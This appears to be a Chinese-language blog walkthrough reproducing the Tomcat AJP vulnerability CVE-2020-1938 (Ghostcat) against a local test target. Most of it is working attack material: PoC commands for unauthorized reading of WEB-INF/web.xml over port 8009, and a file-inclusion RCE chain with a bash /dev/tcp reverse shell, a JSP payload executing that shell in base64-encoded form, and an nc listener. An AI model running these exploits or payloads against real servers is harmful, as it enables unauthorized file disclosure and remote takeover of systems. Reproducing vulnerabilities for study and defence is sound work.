美文网首页WEB渗透与网络安全
CVE-2020-1938 Tomcat AJP漏洞复现

CVE-2020-1938 Tomcat AJP漏洞复现

作者: 半夜菊花茶 | 来源:发表于2020-02-22 01:04 被阅读0次

    直接使用大佬的POC代码,仅用于安全技术交流学习。

    0x01 漏洞影响

    Apache Tomcat 9.x < 9.0.31
    Apache Tomcat 8.x < 8.5.51
    Apache Tomcat 7.x < 7.0.100
    Apache Tomcat 6.x

    0x02 前提

    目标机器开启AJP Connector 服务端口(默认开启,为8009端口)

    0x03 文件读取

    poc代码需要在python2.7环境下运行,kali默认使用这个版本。进入到poc工程下,先安装依赖包:

    pip install -r requirements.txt 
    

    执行文件读取

    python poc.py -p 8009 -f "/WEB-INF/web.xml" 127.0.0.1
    

    左侧窗口是tomcat容器目录,右侧通过poc代码非授权访问到的WEB-INF下的web.xml


    read file

    0x04 文件包含RCE

    这一步利用文件包含漏洞实现RCE,攻击需要满足一定的条件,即需要将payload文件上传到tomcat目录下,然后利用文件包含激活payload。这里以反弹shell为例

    准备好的反弹shell姿势如下:

    bash -i >& /dev/tcp/10.0.2.15/8888 0>&1
    

    为了能正常执行需要对命令进行编码并组装成bash,推荐在线bash payload生成。最终的payload文件test.txt如下:

    <%
        java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjIuMTUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    %>
    

    这里直接将payload文件放到tomcat目录下,在本地准备接受反弹shell

    rlwrap nc -lvnp 8888
    

    然后执行poc:

    python poc.py -p 8009 -f test.txt 127.0.0.1
    

    可以看到左边nc获取到一个反弹shell,成功实现RCE


    image.png

    相关文章

      网友评论

        本文标题:CVE-2020-1938 Tomcat AJP漏洞复现

        本文链接:https://www.haomeiwen.com/subject/flskqhtx.html